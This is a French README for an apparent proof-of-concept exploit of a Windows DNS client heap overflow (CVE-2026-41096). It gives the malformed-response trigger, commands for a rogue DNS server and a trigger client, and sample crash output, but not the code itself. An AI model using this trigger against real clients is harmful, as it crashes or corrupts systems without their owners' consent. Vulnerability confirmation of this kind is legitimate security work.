
Exploit de preuve de concept pour CVE-2026-41096 : débordement de tas dans DnsRawTruncateMessageForUdp() du client DNS Windows. Comprend un serveur DNS malveillant et un client déclencheur pour confirmer la vulnérabilité.
Débordement de tas dans DnsRawTruncateMessageForUdp() (dnsapi.dll). Une réponse DNS malveillante avec QDCOUNT=0 et un enregistrement OPT volumineux provoque un débordement de tas de 604 octets lorsque la logique de troncature calcule mal le pointeur de destination.
Avis MSRC : https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41096
| Fichier | Description |
|---|---|
rogue_dns_server.py | Serveur DNS malveillant (Python 3). Répond à chaque requête avec une réponse QDCOUNT=0 + OPT (623 octets). |
trigger_client.c | Client déclencheur (C/Win32). Appelle DnsQueryRaw pointé vers le serveur malveillant. Capture le crash via SetUnhandledExceptionFilter. |
Attaquant (serveur malveillant) :
Victime (client déclencheur) :
DnsQueryRaw)dnsapi.dll1. Démarrer le serveur malveillant :
sudo python3 rogue_dns_server.py
2. Compiler et exécuter le client déclencheur :
cl /W4 /O2 trigger_client.c /link ws2_32.lib
trigger_client.exe <ROGUE_DNS_IP>
3. (Optionnel) Activer Page Heap pour un crash déterministe :
gflags /p /enable trigger_client.exe /full
trigger_client.exe <ROGUE_DNS_IP>
| Code | Signification |
|---|---|
| 0 | Le système est patché (DNS_ERROR_BAD_PACKET retourné proprement) |
| 1 | Erreur (DnsQueryRaw introuvable, problème réseau, etc.) |
| 2 | Crash détecté (débordement de tas confirmé) |
Vulnérable (Page Heap) :
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[!!] CRASH - Exception 0xC0000005 at 0x00007FFD1A2B4F20
[!!] WRITE at 0x000001A33C3B1000
[!!] CVE-2026-41096 CONFIRMED - heap overflow triggered.
Vulnérable (sans Page Heap) :
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[!!] CRASH - Exception 0xC0000374 at 0x00007FFD1B5DXXXX
[!!] CVE-2026-41096 CONFIRMED - heap overflow triggered.
Patché :
[*] Querying rogue server 192.168.56.1:53 via DnsQueryRaw...
[*] Waiting for response...
[+] Callback: queryStatus=0x251E
[+] DNS_ERROR_BAD_PACKET - system is PATCHED.